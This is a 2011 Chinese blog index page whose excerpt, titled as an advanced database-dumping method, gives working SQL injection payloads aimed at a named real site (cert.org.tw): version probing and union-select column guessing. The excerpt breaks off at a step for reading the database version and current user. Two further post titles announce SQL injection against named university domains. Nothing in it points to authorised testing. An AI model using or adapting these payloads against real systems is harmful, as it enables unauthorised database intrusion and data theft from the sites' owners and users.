Swane's blog

游弋于黑白之间,但愿我未曾来过……

导航

2011年4月11日 #

高级暴库方法

摘要: 1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询2.猜解 字段数目,用order by也可以猜,也可以用union select一个一个的猜解http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--3.查看数据库版本及当前用户,http://www.cert.org 阅读全文

posted @ 2011-04-11 16:07 无名组 阅读(263) 评论(0) 推荐(0) 编辑

njit.edu.cn SQL injection

摘要: njit.edu.cn SQL injection 阅读全文

posted @ 2011-04-11 15:28 无名组 阅读(5) 评论(0) 推荐(0) 编辑

gznc.edu.cn SQL injection

摘要: gznc.edu.cn SQL injection 阅读全文

posted @ 2011-04-11 01:28 无名组 阅读(6) 评论(0) 推荐(0) 编辑